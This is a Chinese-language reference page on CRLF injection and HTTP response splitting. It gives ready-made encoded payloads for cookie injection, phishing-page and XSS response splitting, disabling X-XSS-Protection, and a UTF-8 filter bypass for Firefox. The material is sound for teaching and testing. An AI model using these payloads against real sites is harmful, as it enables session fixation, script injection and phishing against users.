CRLF 注入 (Carriage Return Line Feed Injection)
CRLF 注入是一种 Web 安全漏洞。当攻击者将意外的回车符 (CR) (
\r) 和换行符 (LF) (\n) 注入应用程序时,就会产生此漏洞。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和新一行的开始。在 HTTP 协议中,CR-LF 序列由于始终被用于终止一行。
摘要 (Summary)
方法论 (Methodology)
HTTP 响应拆分 (HTTP Response Splitting) 是一种安全漏洞,攻击者通过在响应标头中注入回车符 (CR) 和换行符 (LF)(统称为 CRLF)来操纵 HTTP 响应。这些字符标志着 HTTP 响应中标头的结束和新一行的开始。
CRLF 字符:
CR(\r, ASCII 13): 将光标移至行首。LF(\n, ASCII 10): 将光标移至下一行。
通过注入 CRLF 序列,攻击者可以将响应拆分为两部分,从而有效地控制 HTTP 响应的结构。这可能导致各种安全问题,例如:
- 跨站脚本 (XSS):在第二个响应中注入恶意脚本。
- 缓存投毒:强制将错误的内容存储在缓存中。
- 标头操纵:更改标头以误导用户或系统。
会话固定 (Session Fixation)
一个典型的 HTTP 响应标头如下所示:
如果用户输入 value\r\nSet-Cookie: admin=true 在未经过滤的情况下嵌入到标头中:
现在攻击者已经设置了他们自己的 Cookie。
跨站脚本 (Cross Site Scripting)
除了需要以非常不安全的方式处理用户会话的会话固定之外,利用 CRLF 注入最简单的方法是为页面编写一个新的主体 (body)。这可以用于创建网络钓鱼页面,或者触发任意 Javascript 代码 (XSS)。
请求的页面:
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
HTTP 响应:
Set-Cookie:en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34
<html>You have been Phished</html>
在 XSS 的情况下,CRLF 注入允许注入值为 "0" 的 X-XSS-Protection 标头,以禁用它。然后我们可以添加包含 Javascript 开发代码的 HTML 标签。
请求的页面:
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
HTTP 响应:
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: https://example.com/[注入从这里开始]
Content-Length:35
X-XSS-Protection:0
23
<svg onload=alert(document.domain)>
0
开放重定向 (Open Redirect)
注入 Location 标头强制用户进行重定向。
过滤器绕过 (Filter Bypass)
RFC 7230 规定,大多数 HTTP 标头字段值仅使用 US-ASCII 字符集的子集。
新定义的标头字段应当将其字段值限制在 US-ASCII 字节内。
Firefox 遵循了该规范,在设置 Cookie 时会剔除任何超出范围的字符,而不是对它们进行编码。
| UTF-8 字符 | 十六进制 (Hex) | Unicode | 剔除后 (Stripped) |
|---|---|---|---|
嘊 |
%E5%98%8A |
\u560a |
%0A (\n) |
嘍 |
%E5%98%8D |
\u560d |
%0D (\r) |
嘾 |
%E5%98%BE |
\u563e |
%3E (>) |
嘼 |
%E5%98%BC |
\u563c |
%3C (<) |
UTF-8 字符 嘊 的十六进制格式最后一部分包含 0a,它会被 Firefox 转换为 \n。
使用 UTF-8 字符的一个示例 Payload 如下:
URL 编码版本:
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE